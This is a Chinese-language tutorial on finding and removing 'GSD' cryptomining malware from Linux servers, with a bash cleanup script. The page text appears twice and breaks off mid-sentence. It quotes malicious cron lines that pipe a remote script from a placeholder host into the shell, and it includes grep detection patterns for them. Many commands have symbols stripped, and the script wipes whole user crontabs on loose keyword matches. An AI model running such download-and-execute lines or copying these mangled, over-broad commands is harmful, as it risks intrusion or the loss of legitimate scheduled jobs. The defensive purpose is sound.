拓冰网站优化 
1. 项目概述当服务器CPU开始“发烧”如果你是一名服务器运维工程师或者自己管理着几台Linux服务器那么“CPU使用率100%”这个警报大概率会让你心头一紧。这不仅仅是性能问题更可能意味着你的服务器已经不再完全属于你——它可能正在为某个匿名的“矿工”免费打工。最近一种名为“GSD”的挖矿病毒或称挖矿木马在Linux服务器上颇为活跃它伪装隐蔽消耗资源是典型的“资源吸血鬼”。这个项目就是一次针对性的“外科手术”。我不会只给你一个冷冰冰的脚本让你运行然后祈祷问题解决。相反我会带你走一遍完整的排查、分析、清理和加固流程。你会明白病毒是怎么进来的它藏在哪如何运作以及我们如何一步步将它揪出来并彻底清除。最后我会提供一个经过实战检验的、附带详细注释的清理脚本但更重要的是你会获得一套应对此类安全事件的方法论。无论你是遇到了GSD还是未来遇到其他变种这套思路都能用得上。2. 核心思路从现象到根源的深度排查面对CPU飙升很多人的第一反应是重启或者kill掉高占用的进程。这能暂时缓解症状但治标不治本病毒往往有守护进程或定时任务几分钟后就会卷土重来。我们的目标不是“暂时退烧”而是“找到感染源并根治”。2.1 排查逻辑链顺藤摸瓜一个完整的挖矿病毒清理应该遵循以下逻辑链条这也是本次实战的核心思路确认症状通过系统监控工具如top,htop确认CPU异常并定位到具体的高占用进程。进程分析分析该可疑进程的详细信息谁启动的用户、它的父进程是谁、它打开了哪些文件和网络连接。文件定位找到该进程对应的可执行文件在磁盘上的位置。关联清理清除病毒本体、相关的配置文件、日志文件以及可能存在的其他恶意模块。清除驻留检查并清理病毒为了持久化而设置的“后门”如定时任务cron、系统服务systemd、启动脚本rc.local、SSH密钥等。溯源与加固分析入侵途径如漏洞、弱密码修复漏洞并加强安全配置防止再次感染。GSD病毒以及其同类如kinsing, kdevtmpfsi通常具有以下特征进程名可能随机或伪装成系统进程文件常隐藏在/tmp、/dev/shm或用户主目录的隐藏文件夹中会修改crontab设置定时任务可能会尝试禁用安全软件或清理其他竞争对手的挖矿病毒。2.2 为什么手动排查优于盲目运行脚本网上有很多“一键清理脚本”。直接运行它们风险很高误杀风险脚本可能误判删除正常的系统文件或服务导致服务器瘫痪。清理不彻底病毒变种繁多通用脚本可能无法识别新变种或特定的驻留方式。无法学习你失去了了解攻击手法和提升排错能力的最佳机会。因此我将先带你手动走通整个排查流程理解每一步的意义。在此基础上提供的脚本将作为你验证和快速执行的工具而非黑盒。3. 手动排查与清理全流程实录假设我们收到告警一台服务器的CPU持续在95%以上。我们通过SSH登录进行排查。3.1 第一步定位异常进程首先使用top或htop命令查看系统资源使用情况。htop更直观如果没有则用top。# 使用 top按 CPU 使用率排序按 P top # 或者安装并使用 htop推荐 yum install htop -y # CentOS/RHEL apt install htop -y # Ubuntu/Debian htop在htop界面我们通常会发现一个或多个陌生进程占据了极高的CPU比如90%。记下这个进程的PID进程ID和命令名称。假设我们发现一个名为gsd或类似kthreaddi的奇怪进程PID为1234。注意病毒进程名常常具有迷惑性例如伪装成kworker、ksoftirqd等内核线程但仔细看其用户USER通常是普通用户如www-data,nginx,redis等而非root。这是第一个疑点。3.2 第二步深度分析可疑进程拿到PID后我们需要像法医一样解剖这个进程。1. 查看进程详细信息# 查看进程的详细信息包括启动路径 ps aux | grep 1234 # 或者更精确地 ps -fp 1234这里可以看到进程的启动者USER、CPU/MEM占用、以及启动命令的完整路径COMMAND。如果COMMAND显示的是一个在/tmp或/home下的可疑路径嫌疑就更大了。2. 查看进程树找到父进程病毒可能由某个父进程fork出来找到父进程有助于发现感染链。pstree -p 1234 # 或 ps -ef --forest | grep -A 5 -B 5 12343. 查看进程打开的文件和网络连接这是关键步骤能发现病毒关联的磁盘文件和网络行为。# 查看进程打开的所有文件描述符 ls -la /proc/1234/fd # 使用 lsof 命令查看更清晰需安装 lsof -p 1234在lsof的输出中重点关注cwd进程当前工作目录。txt程序代码文件即可执行文件本身。网络连接TYPE为IPv4或IPv6看它连接到了哪个远程IP和端口这可能是病毒的控制服务器或矿池地址。记录下这些IP后续可以封禁。4. 查看网络连接# 查看该进程的网络连接状态 netstat -antp | grep 1234 # 或使用 ss 命令更现代 ss -antp | grep 12343.3 第三步定位并检查病毒文件从ps或lsof的输出中我们找到了病毒的可执行文件路径例如/tmp/.gsd/gsd。1. 检查文件属性ls -lha /tmp/.gsd/gsd file /tmp/.gsd/gsd # 查看文件类型通常这类文件是ELF可执行文件并且可能被设置了隐藏属性以.开头的目录。2. 检查文件内容谨慎# 查看文件头部确认是二进制文件 head -c 100 /tmp/.gsd/gsd | xxd | head -5 # 查看文件字符串可能包含矿池地址、域名等线索 strings /tmp/.gsd/gsd | grep -E “pool|mine|stratum|http” | head -203. 搜索相关文件病毒通常不止一个文件可能还有配置文件、日志、下载器等其他组件。# 在病毒所在目录及其父目录搜索 find /tmp/.gsd -type f find / -name “*gsd*” 2/dev/null | head -20 # 全盘搜索但较慢3.4 第四步清除病毒进程与文件在清理前务必先对重要数据进行备份。清理顺序很重要先结束进程再删除文件避免进程不断重启。1. 结束病毒进程kill -9 1234 # 强制结束进程结束后立即再次运行htop确认该进程是否消失并且CPU使用率是否下降。有时病毒有多个进程相互守护可能需要结束多个PID。2. 删除病毒文件# 删除我们发现的病毒目录和文件 rm -rf /tmp/.gsd # 删除其他可能发现的关联文件例如在 /var/tmp, /dev/shm 等位置 rm -rf /var/tmp/.gsd /dev/shm/.gsd实操心得在删除前可以将可疑文件压缩并设置密码后下载到本地用于后续分析或留证。使用tar -czvf malware_evidence.tar.gz --password‘StrongPass!’ /tmp/.gsd。3.5 第五步清除病毒持久化机制关键这是最容易被忽略的一步也是病毒“死灰复燃”的根本原因。病毒为了在重启后依然能运行会给自己添加“自启动”项。1. 检查当前用户的定时任务crontab -l # 查看当前用户的cron crontab -l -u root # 查看root用户的cron如果你是root仔细检查输出病毒通常会添加类似这样的行*/10 * * * * curl -s http://malicious-domain.com/script.sh | sh */15 * * * * wget -q -O- http://x.x.x.x/gsd.sh | bash或者指向本地的一个脚本文件。删除所有可疑的定时任务。编辑crontab使用crontab -e。2. 检查系统级定时任务目录ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/ cat /etc/crontab查看这些目录下是否有新增的可疑文件。3. 检查系统服务# 查看是否有可疑的service systemctl list-unit-files --typeservice | grep -E “(gsd|kdev|kinsing|可疑名称)” ls -la /etc/systemd/system/ /usr/lib/systemd/system/ | grep -i gsd # 如果有停止并禁用服务然后删除服务文件 systemctl stop gsd-service systemctl disable gsd-service rm -f /etc/systemd/system/gsd-service.service systemctl daemon-reload4. 检查开机启动脚本cat /etc/rc.local # 如果存在且可执行 ls -la /etc/init.d/ # SysV init 系统5. 检查用户启动脚本# 检查受影响用户的profile、bashrc等 cat ~/.bashrc | tail -20 cat ~/.bash_profile cat ~/.profile6. 检查SSH授权密钥病毒可能添加了它的公钥以便攻击者免密登录。cat ~/.ssh/authorized_keys检查是否有你不认识或可疑的公钥条目将其删除。3.6 第六步入侵溯源与系统加固清理完成后我们需要思考病毒是怎么进来的1. 检查历史命令查看~/.bash_history或系统日志看是否有可疑的下载或执行命令。2. 检查日志重点查看/var/log/auth.logUbuntu/Debian或/var/log/secureCentOS/RHEL寻找在CPU飙升时间点前后的异常登录记录尤其是暴力破解成功记录。3. 检查最近修改的文件find / -type f -mtime -5 2/dev/null | head -30 # 查找5天内修改过的文件4. 检查网络连接历史如果安装了auditd可以查询网络连接审计日志。基于常见入侵途径的加固建议弱密码/默认密码强制所有用户使用高强度密码禁用不必要的用户考虑禁用密码登录改用SSH密钥认证。未修复的漏洞及时更新系统和软件包yum update/apt upgrade特别是运行着面向互联网的服务如Redis, Jenkins, Docker API, Confluence等这些服务若配置不当或存在未修补漏洞极易被入侵。恶意软件包/仓库检查软件源是否被篡改只使用官方或可信的软件源。不安全的Web应用检查服务器上运行的Web应用是否有已知漏洞。4. 自动化清理脚本解析与使用在完全理解上述手动流程后我们可以编写或使用脚本提高效率。下面是一个针对GSD类挖矿病毒的清理脚本示例它整合了上述排查点。重要警告请在测试环境或明确感染场景下使用此脚本。使用前建议先手动执行脚本中的部分命令进行确认。#!/bin/bash # 文件名clean_gsd_miner.sh # 描述用于检测和清理GSD类挖矿病毒的脚本 # 作者基于实战经验整理 # 使用以root权限运行 bash clean_gsd_miner.sh set -euo pipefail LOG_FILE“/var/log/clean_miner_$(date %Y%m%d_%H%M%S).log” exec (tee -a “${LOG_FILE}”) 21 echo “ 开始挖矿病毒清理流程 $(date) ” # 1. 检查高CPU进程 echo “[1/6] 检查高CPU占用进程...” HIGH_CPU_PIDS$(top -b -n 1 | awk ‘NR7 $950.0 {print $1}’ | head -5) if [[ -z “${HIGH_CPU_PIDS}” ]]; then echo “未发现持续高CPU进程50%。继续扫描可疑进程名。” else echo “发现高CPU进程PID: ${HIGH_CPU_PIDS}” for PID in ${HIGH_CPU_PIDS}; do echo “分析PID: ${PID}” ps -fp ${PID} 2/dev/null || true echo “---” done fi # 2. 搜索已知的挖矿进程名和文件路径 echo “[2/6] 搜索已知的挖矿病毒进程和文件...” SUSPICIOUS_NAMES“(gsd|kdevtmpfsi|kinsing|watchdogs|kthreaddi|ld-linux)” SUSPICIOUS_PATHS“/tmp/.* /var/tmp/.* /dev/shm/.* /run/user/.*” # 查找进程 pkill -f “${SUSPICIOUS_NAMES}” 2/dev/null echo “已尝试终止可疑进程。” # 查找文件 find ${SUSPICIOUS_PATHS} -type f -name “*${SUSPICIOUS_NAMES}*” 2/dev/null | while read file; do echo “发现可疑文件: ${file}” # 安全起见先移动而不是直接删除便于审计 mv “${file}” “${file}.bak_$(date %s)” 2/dev/null echo “已重命名: ${file}” done # 3. 清理恶意定时任务这是重点 echo “[3/6] 清理恶意定时任务...” # 检查系统crontab if [[ -f /etc/crontab ]]; then grep -E “(curl.*sh|wget.*bash|gsd|pool\.mine)” /etc/crontab { echo “/etc/crontab 中发现可疑条目请手动编辑清理” cp /etc/crontab /etc/crontab.bak.before_clean } fi # 检查cron.d目录 for cron_file in /etc/cron.d/* /etc/cron.hourly/* /etc/cron.daily/* /etc/cron.weekly/* /etc/cron.monthly/*; do [[ -f “${cron_file}” ]] grep -l “curl\|wget\|gsd” “${cron_file}” 2/dev/null { echo “发现可疑cron文件: ${cron_file}” mv “${cron_file}” “${cron_file}.bak_$(date %s)” } done # 清理所有用户的crontab需要root for user in $(cut -f1 -d: /etc/passwd); do crontab -l -u “${user}” 2/dev/null | grep -q “curl\|wget\|gsd\|pool” { echo “用户 ${user} 的crontab中发现可疑任务正在清理...” crontab -r -u “${user}” } done # 4. 清理系统服务和启动项 echo “[4/6] 检查系统服务和启动项...” systemctl list-unit-files --typeservice | grep -E “${SUSPICIOUS_NAMES}” | awk ‘{print $1}’ | while read service; do echo “停止并禁用可疑服务: ${service}” systemctl stop “${service}” 2/dev/null || true systemctl disable “${service}” 2/dev/null || true # 查找并备份服务文件 find /etc/systemd/system /usr/lib/systemd/system -name “*${service}*” -type f | while read svc_file; do mv “${svc_file}” “${svc_file}.bak” done done systemctl daemon-reload # 5. 检查SSH授权密钥 echo “[5/6] 检查SSH授权密钥...” for user_home in $(awk -F: ‘$31000 {print $6}’ /etc/passwd); do auth_keys“${user_home}/.ssh/authorized_keys” if [[ -f “${auth_keys}” ]]; then if grep -q “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD” “${auth_keys}” 2/dev/null; then echo “警告在 ${auth_keys} 中发现疑似默认或可疑公钥模式建议检查” # 此处不自动删除仅提示。实际应手动审核。 fi fi done # 6. 简单加固建议 echo “[6/6] 提供基础加固建议...” echo “1. 立即更改所有用户密码特别是root和具有sudo权限的用户。” echo “2. 检查 /etc/passwd 和 /etc/shadow确认无异常用户。” echo “3. 更新系统: yum update 或 apt update apt upgrade” echo “4. 检查并关闭不必要的端口: netstat -tulnp 或 ss -tulnp” echo “5. 考虑安装入侵检测工具如 rkhunter, chkrootkit。” echo “6. 审查 /var/log/secure 或 /var/log/auth.log 寻找入侵痕迹。” echo “ 清理流程完成 $(date) echo “详细日志已保存至: ${LOG_FILE}” echo “请注意脚本执行了常规清理请务必根据上述建议进行手动复查和系统加固”脚本使用说明将脚本保存到服务器例如/tmp/clean_gsd_miner.sh。赋予执行权限chmod x /tmp/clean_gsd_miner.sh。强烈建议先审阅脚本内容确认其操作符合你的环境。以root权限运行sudo bash /tmp/clean_gsd_miner.sh。脚本会生成日志文件/var/log/clean_miner_*.log记录所有操作。脚本执行后必须按照输出末尾的加固建议进行手动检查和操作。注意事项此脚本是一个通用模板主要针对常见的驻留方式和路径。病毒变种层出不穷脚本无法保证100%清除所有变种。手动排查的步骤和思路才是根本。5. 常见问题与排查技巧实录在实际清理过程中你可能会遇到以下情况问题1kill掉进程后它马上又出现了新的PID。原因存在守护进程、定时任务cron或系统服务在不断地重新拉起病毒进程。解决这正是我们强调要清理持久化机制的原因。不要只kill进程立即执行crontab -l、systemctl list-units等命令查找并清除那些每分钟或每几分钟执行一次的恶意任务。使用pstree查看父进程顺藤摸瓜找到守护者。问题2找不到病毒文件或者文件删除后又被创建。原因病毒文件可能被设置了immutable属性chattr i或者其父目录有特殊权限。更可能是有一个下载脚本在定时从远程服务器拉取新的病毒文件。解决检查文件属性lsattr /path/to/suspicious_file如果包含i属性使用chattr -i /path/to/suspicious_file解除后再删除。检查目录权限确保没有异常的setuid或sticky bit。彻底清查定时任务和启动项这是根源。问题3清理后CPU恢复正常但过几天又复现了。原因入侵根源未消除。服务器上存在未修复的漏洞如Redis未授权访问、Jenkins弱口令、Web应用RCE漏洞或者有残留的后门账户、SSH密钥。解决必须进行入侵溯源。分析日志确定最初的入侵时间点检查当时的登录记录、进程启动记录。修复所有已发现的漏洞修改所有密码检查/etc/passwd中是否有陌生用户使用last、lastb命令查看登录历史。问题4如何判断服务器是否干净了监控持续观察CPU、内存、网络流量使用iftop或nethogs是否还有异常波动。检查定期运行crontab -l、systemctl list-unit-files、ls -la /tmp /var/tmp /dev/shm看是否有可疑项新增。工具使用chkrootkit或rkhunter进行Rootkit检测虽然它们主要针对传统rootkit但有时也能发现一些恶意文件或配置。网络使用ss -antp或netstat -antp检查是否有连接到陌生IP尤其是矿池常用端口如3333, 4444, 5555, 6666等的出境连接。独家避坑技巧善用strace如果你发现一个可疑进程但不确定它在干什么可以用strace -p PID动态跟踪它的系统调用看它在读写哪些文件连接哪些网络这是非常强大的动态分析手段。限制/tmp等目录执行权限对于生产服务器可以考虑在挂载时给/tmp、/dev/shm加上noexec选项防止在这些目录执行二进制文件。但这可能会影响一些正常应用需评估。最小权限原则运行Web服务、数据库服务时使用非root的专用用户并严格控制其目录写入权限。日志集中与分析将服务器的关键日志如auth, secure, cron实时同步到一台安全的日志服务器上。这样即使服务器被入侵、日志被篡改你依然有据可查。清理挖矿病毒是一场攻防战。手动排查的过程虽然繁琐但能让你最深入地了解你的系统并从根本上提升安全运维的能力。脚本可以帮你节省重复劳动但无法替代你的思考和判断。保持系统更新、配置严谨、监控到位才是长治久安之道。 Linux服务器挖矿病毒GSD排查与清理实战指南
1. 项目概述当服务器CPU开始“发烧”如果你是一名服务器运维工程师或者自己管理着几台Linux服务器那么“CPU使用率100%”这个警报大概率会让你心头一紧。这不仅仅是性能问题更可能意味着你的服务器已经不再完全属于你——它可能正在为某个匿名的“矿工”免费打工。最近一种名为“GSD”的挖矿病毒或称挖矿木马在Linux服务器上颇为活跃它伪装隐蔽消耗资源是典型的“资源吸血鬼”。这个项目就是一次针对性的“外科手术”。我不会只给你一个冷冰冰的脚本让你运行然后祈祷问题解决。相反我会带你走一遍完整的排查、分析、清理和加固流程。你会明白病毒是怎么进来的它藏在哪如何运作以及我们如何一步步将它揪出来并彻底清除。最后我会提供一个经过实战检验的、附带详细注释的清理脚本但更重要的是你会获得一套应对此类安全事件的方法论。无论你是遇到了GSD还是未来遇到其他变种这套思路都能用得上。2. 核心思路从现象到根源的深度排查面对CPU飙升很多人的第一反应是重启或者kill掉高占用的进程。这能暂时缓解症状但治标不治本病毒往往有守护进程或定时任务几分钟后就会卷土重来。我们的目标不是“暂时退烧”而是“找到感染源并根治”。2.1 排查逻辑链顺藤摸瓜一个完整的挖矿病毒清理应该遵循以下逻辑链条这也是本次实战的核心思路确认症状通过系统监控工具如top,htop确认CPU异常并定位到具体的高占用进程。进程分析分析该可疑进程的详细信息谁启动的用户、它的父进程是谁、它打开了哪些文件和网络连接。文件定位找到该进程对应的可执行文件在磁盘上的位置。关联清理清除病毒本体、相关的配置文件、日志文件以及可能存在的其他恶意模块。清除驻留检查并清理病毒为了持久化而设置的“后门”如定时任务cron、系统服务systemd、启动脚本rc.local、SSH密钥等。溯源与加固分析入侵途径如漏洞、弱密码修复漏洞并加强安全配置防止再次感染。GSD病毒以及其同类如kinsing, kdevtmpfsi通常具有以下特征进程名可能随机或伪装成系统进程文件常隐藏在/tmp、/dev/shm或用户主目录的隐藏文件夹中会修改crontab设置定时任务可能会尝试禁用安全软件或清理其他竞争对手的挖矿病毒。2.2 为什么手动排查优于盲目运行脚本网上有很多“一键清理脚本”。直接运行它们风险很高误杀风险脚本可能误判删除正常的系统文件或服务导致服务器瘫痪。清理不彻底病毒变种繁多通用脚本可能无法识别新变种或特定的驻留方式。无法学习你失去了了解攻击手法和提升排错能力的最佳机会。因此我将先带你手动走通整个排查流程理解每一步的意义。在此基础上提供的脚本将作为你验证和快速执行的工具而非黑盒。3. 手动排查与清理全流程实录假设我们收到告警一台服务器的CPU持续在95%以上。我们通过SSH登录进行排查。3.1 第一步定位异常进程首先使用top或htop命令查看系统资源使用情况。htop更直观如果没有则用top。# 使用 top按 CPU 使用率排序按 P top # 或者安装并使用 htop推荐 yum install htop -y # CentOS/RHEL apt install htop -y # Ubuntu/Debian htop在htop界面我们通常会发现一个或多个陌生进程占据了极高的CPU比如90%。记下这个进程的PID进程ID和命令名称。假设我们发现一个名为gsd或类似kthreaddi的奇怪进程PID为1234。注意病毒进程名常常具有迷惑性例如伪装成kworker、ksoftirqd等内核线程但仔细看其用户USER通常是普通用户如www-data,nginx,redis等而非root。这是第一个疑点。3.2 第二步深度分析可疑进程拿到PID后我们需要像法医一样解剖这个进程。1. 查看进程详细信息# 查看进程的详细信息包括启动路径 ps aux | grep 1234 # 或者更精确地 ps -fp 1234这里可以看到进程的启动者USER、CPU/MEM占用、以及启动命令的完整路径COMMAND。如果COMMAND显示的是一个在/tmp或/home下的可疑路径嫌疑就更大了。2. 查看进程树找到父进程病毒可能由某个父进程fork出来找到父进程有助于发现感染链。pstree -p 1234 # 或 ps -ef --forest | grep -A 5 -B 5 12343. 查看进程打开的文件和网络连接这是关键步骤能发现病毒关联的磁盘文件和网络行为。# 查看进程打开的所有文件描述符 ls -la /proc/1234/fd # 使用 lsof 命令查看更清晰需安装 lsof -p 1234在lsof的输出中重点关注cwd进程当前工作目录。txt程序代码文件即可执行文件本身。网络连接TYPE为IPv4或IPv6看它连接到了哪个远程IP和端口这可能是病毒的控制服务器或矿池地址。记录下这些IP后续可以封禁。4. 查看网络连接# 查看该进程的网络连接状态 netstat -antp | grep 1234 # 或使用 ss 命令更现代 ss -antp | grep 12343.3 第三步定位并检查病毒文件从ps或lsof的输出中我们找到了病毒的可执行文件路径例如/tmp/.gsd/gsd。1. 检查文件属性ls -lha /tmp/.gsd/gsd file /tmp/.gsd/gsd # 查看文件类型通常这类文件是ELF可执行文件并且可能被设置了隐藏属性以.开头的目录。2. 检查文件内容谨慎# 查看文件头部确认是二进制文件 head -c 100 /tmp/.gsd/gsd | xxd | head -5 # 查看文件字符串可能包含矿池地址、域名等线索 strings /tmp/.gsd/gsd | grep -E “pool|mine|stratum|http” | head -203. 搜索相关文件病毒通常不止一个文件可能还有配置文件、日志、下载器等其他组件。# 在病毒所在目录及其父目录搜索 find /tmp/.gsd -type f find / -name “*gsd*” 2/dev/null | head -20 # 全盘搜索但较慢3.4 第四步清除病毒进程与文件在清理前务必先对重要数据进行备份。清理顺序很重要先结束进程再删除文件避免进程不断重启。1. 结束病毒进程kill -9 1234 # 强制结束进程结束后立即再次运行htop确认该进程是否消失并且CPU使用率是否下降。有时病毒有多个进程相互守护可能需要结束多个PID。2. 删除病毒文件# 删除我们发现的病毒目录和文件 rm -rf /tmp/.gsd # 删除其他可能发现的关联文件例如在 /var/tmp, /dev/shm 等位置 rm -rf /var/tmp/.gsd /dev/shm/.gsd实操心得在删除前可以将可疑文件压缩并设置密码后下载到本地用于后续分析或留证。使用tar -czvf malware_evidence.tar.gz --password‘StrongPass!’ /tmp/.gsd。3.5 第五步清除病毒持久化机制关键这是最容易被忽略的一步也是病毒“死灰复燃”的根本原因。病毒为了在重启后依然能运行会给自己添加“自启动”项。1. 检查当前用户的定时任务crontab -l # 查看当前用户的cron crontab -l -u root # 查看root用户的cron如果你是root仔细检查输出病毒通常会添加类似这样的行*/10 * * * * curl -s http://malicious-domain.com/script.sh | sh */15 * * * * wget -q -O- http://x.x.x.x/gsd.sh | bash或者指向本地的一个脚本文件。删除所有可疑的定时任务。编辑crontab使用crontab -e。2. 检查系统级定时任务目录ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/ cat /etc/crontab查看这些目录下是否有新增的可疑文件。3. 检查系统服务# 查看是否有可疑的service systemctl list-unit-files --typeservice | grep -E “(gsd|kdev|kinsing|可疑名称)” ls -la /etc/systemd/system/ /usr/lib/systemd/system/ | grep -i gsd # 如果有停止并禁用服务然后删除服务文件 systemctl stop gsd-service systemctl disable gsd-service rm -f /etc/systemd/system/gsd-service.service systemctl daemon-reload4. 检查开机启动脚本cat /etc/rc.local # 如果存在且可执行 ls -la /etc/init.d/ # SysV init 系统5. 检查用户启动脚本# 检查受影响用户的profile、bashrc等 cat ~/.bashrc | tail -20 cat ~/.bash_profile cat ~/.profile6. 检查SSH授权密钥病毒可能添加了它的公钥以便攻击者免密登录。cat ~/.ssh/authorized_keys检查是否有你不认识或可疑的公钥条目将其删除。3.6 第六步入侵溯源与系统加固清理完成后我们需要思考病毒是怎么进来的1. 检查历史命令查看~/.bash_history或系统日志看是否有可疑的下载或执行命令。2. 检查日志重点查看/var/log/auth.logUbuntu/Debian或/var/log/secureCentOS/RHEL寻找在CPU飙升时间点前后的异常登录记录尤其是暴力破解成功记录。3. 检查最近修改的文件find / -type f -mtime -5 2/dev/null | head -30 # 查找5天内修改过的文件4. 检查网络连接历史如果安装了auditd可以查询网络连接审计日志。基于常见入侵途径的加固建议弱密码/默认密码强制所有用户使用高强度密码禁用不必要的用户考虑禁用密码登录改用SSH密钥认证。未修复的漏洞及时更新系统和软件包yum update/apt upgrade特别是运行着面向互联网的服务如Redis, Jenkins, Docker API, Confluence等这些服务若配置不当或存在未修补漏洞极易被入侵。恶意软件包/仓库检查软件源是否被篡改只使用官方或可信的软件源。不安全的Web应用检查服务器上运行的Web应用是否有已知漏洞。4. 自动化清理脚本解析与使用在完全理解上述手动流程后我们可以编写或使用脚本提高效率。下面是一个针对GSD类挖矿病毒的清理脚本示例它整合了上述排查点。重要警告请在测试环境或明确感染场景下使用此脚本。使用前建议先手动执行脚本中的部分命令进行确认。#!/bin/bash # 文件名clean_gsd_miner.sh # 描述用于检测和清理GSD类挖矿病毒的脚本 # 作者基于实战经验整理 # 使用以root权限运行 bash clean_gsd_miner.sh set -euo pipefail LOG_FILE“/var/log/clean_miner_$(date %Y%m%d_%H%M%S).log” exec (tee -a “${LOG_FILE}”) 21 echo “ 开始挖矿病毒清理流程 $(date) ” # 1. 检查高CPU进程 echo “[1/6] 检查高CPU占用进程...” HIGH_CPU_PIDS$(top -b -n 1 | awk ‘NR7 $950.0 {print $1}’ | head -5) if [[ -z “${HIGH_CPU_PIDS}” ]]; then echo “未发现持续高CPU进程50%。继续扫描可疑进程名。” else echo “发现高CPU进程PID: ${HIGH_CPU_PIDS}” for PID in ${HIGH_CPU_PIDS}; do echo “分析PID: ${PID}” ps -fp ${PID} 2/dev/null || true echo “---” done fi # 2. 搜索已知的挖矿进程名和文件路径 echo “[2/6] 搜索已知的挖矿病毒进程和文件...” SUSPICIOUS_NAMES“(gsd|kdevtmpfsi|kinsing|watchdogs|kthreaddi|ld-linux)” SUSPICIOUS_PATHS“/tmp/.* /var/tmp/.* /dev/shm/.* /run/user/.*” # 查找进程 pkill -f “${SUSPICIOUS_NAMES}” 2/dev/null echo “已尝试终止可疑进程。” # 查找文件 find ${SUSPICIOUS_PATHS} -type f -name “*${SUSPICIOUS_NAMES}*” 2/dev/null | while read file; do echo “发现可疑文件: ${file}” # 安全起见先移动而不是直接删除便于审计 mv “${file}” “${file}.bak_$(date %s)” 2/dev/null echo “已重命名: ${file}” done # 3. 清理恶意定时任务这是重点 echo “[3/6] 清理恶意定时任务...” # 检查系统crontab if [[ -f /etc/crontab ]]; then grep -E “(curl.*sh|wget.*bash|gsd|pool\.mine)” /etc/crontab { echo “/etc/crontab 中发现可疑条目请手动编辑清理” cp /etc/crontab /etc/crontab.bak.before_clean } fi # 检查cron.d目录 for cron_file in /etc/cron.d/* /etc/cron.hourly/* /etc/cron.daily/* /etc/cron.weekly/* /etc/cron.monthly/*; do [[ -f “${cron_file}” ]] grep -l “curl\|wget\|gsd” “${cron_file}” 2/dev/null { echo “发现可疑cron文件: ${cron_file}” mv “${cron_file}” “${cron_file}.bak_$(date %s)” } done # 清理所有用户的crontab需要root for user in $(cut -f1 -d: /etc/passwd); do crontab -l -u “${user}” 2/dev/null | grep -q “curl\|wget\|gsd\|pool” { echo “用户 ${user} 的crontab中发现可疑任务正在清理...” crontab -r -u “${user}” } done # 4. 清理系统服务和启动项 echo “[4/6] 检查系统服务和启动项...” systemctl list-unit-files --typeservice | grep -E “${SUSPICIOUS_NAMES}” | awk ‘{print $1}’ | while read service; do echo “停止并禁用可疑服务: ${service}” systemctl stop “${service}” 2/dev/null || true systemctl disable “${service}” 2/dev/null || true # 查找并备份服务文件 find /etc/systemd/system /usr/lib/systemd/system -name “*${service}*” -type f | while read svc_file; do mv “${svc_file}” “${svc_file}.bak” done done systemctl daemon-reload # 5. 检查SSH授权密钥 echo “[5/6] 检查SSH授权密钥...” for user_home in $(awk -F: ‘$31000 {print $6}’ /etc/passwd); do auth_keys“${user_home}/.ssh/authorized_keys” if [[ -f “${auth_keys}” ]]; then if grep -q “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD” “${auth_keys}” 2/dev/null; then echo “警告在 ${auth_keys} 中发现疑似默认或可疑公钥模式建议检查” # 此处不自动删除仅提示。实际应手动审核。 fi fi done # 6. 简单加固建议 echo “[6/6] 提供基础加固建议...” echo “1. 立即更改所有用户密码特别是root和具有sudo权限的用户。” echo “2. 检查 /etc/passwd 和 /etc/shadow确认无异常用户。” echo “3. 更新系统: yum update 或 apt update apt upgrade” echo “4. 检查并关闭不必要的端口: netstat -tulnp 或 ss -tulnp” echo “5. 考虑安装入侵检测工具如 rkhunter, chkrootkit。” echo “6. 审查 /var/log/secure 或 /var/log/auth.log 寻找入侵痕迹。” echo “ 清理流程完成 $(date) echo “详细日志已保存至: ${LOG_FILE}” echo “请注意脚本执行了常规清理请务必根据上述建议进行手动复查和系统加固”脚本使用说明将脚本保存到服务器例如/tmp/clean_gsd_miner.sh。赋予执行权限chmod x /tmp/clean_gsd_miner.sh。强烈建议先审阅脚本内容确认其操作符合你的环境。以root权限运行sudo bash /tmp/clean_gsd_miner.sh。脚本会生成日志文件/var/log/clean_miner_*.log记录所有操作。脚本执行后必须按照输出末尾的加固建议进行手动检查和操作。注意事项此脚本是一个通用模板主要针对常见的驻留方式和路径。病毒变种层出不穷脚本无法保证100%清除所有变种。手动排查的步骤和思路才是根本。5. 常见问题与排查技巧实录在实际清理过程中你可能会遇到以下情况问题1kill掉进程后它马上又出现了新的PID。原因存在守护进程、定时任务cron或系统服务在不断地重新拉起病毒进程。解决这正是我们强调要清理持久化机制的原因。不要只kill进程立即执行crontab -l、systemctl list-units等命令查找并清除那些每分钟或每几分钟执行一次的恶意任务。使用pstree查看父进程顺藤摸瓜找到守护者。问题2找不到病毒文件或者文件删除后又被创建。原因病毒文件可能被设置了immutable属性chattr i或者其父目录有特殊权限。更可能是有一个下载脚本在定时从远程服务器拉取新的病毒文件。解决检查文件属性lsattr /path/to/suspicious_file如果包含i属性使用chattr -i /path/to/suspicious_file解除后再删除。检查目录权限确保没有异常的setuid或sticky bit。彻底清查定时任务和启动项这是根源。问题3清理后CPU恢复正常但过几天又复现了。原因入侵根源未消除。服务器上存在未修复的漏洞如Redis未授权访问、Jenkins弱口令、Web应用RCE漏洞或者有残留的后门账户、SSH密钥。解决必须进行入侵溯源。分析日志确定最初的入侵时间点检查当时的登录记录、进程启动记录。修复所有已发现的漏洞修改所有密码检查/etc/passwd中是否有陌生用户使用last、lastb命令查看登录历史。问题4如何判断服务器是否干净了监控持续观察CPU、内存、网络流量使用iftop或nethogs是否还有异常波动。检查定期运行crontab -l、systemctl list-unit-files、ls -la /tmp /var/tmp /dev/shm看是否有可疑项新增。工具使用chkrootkit或rkhunter进行Rootkit检测虽然它们主要针对传统rootkit但有时也能发现一些恶意文件或配置。网络使用ss -antp或netstat -antp检查是否有连接到陌生IP尤其是矿池常用端口如3333, 4444, 5555, 6666等的出境连接。独家避坑技巧善用strace如果你发现一个可疑进程但不确定它在干什么可以用strace -p PID动态跟踪它的系统调用看它在读写哪些文件连接哪些网络这是非常强大的动态分析手段。限制/tmp等目录执行权限对于生产服务器可以考虑在挂载时给/tmp、/dev/shm加上noexec选项防止在这些目录执行二进制文件。但这可能会影响一些正常应用需评估。最小权限原则运行Web服务、数据库服务时使用非root的专用用户并严格控制其目录写入权限。日志集中与分析将服务器的关键日志如auth, secure, 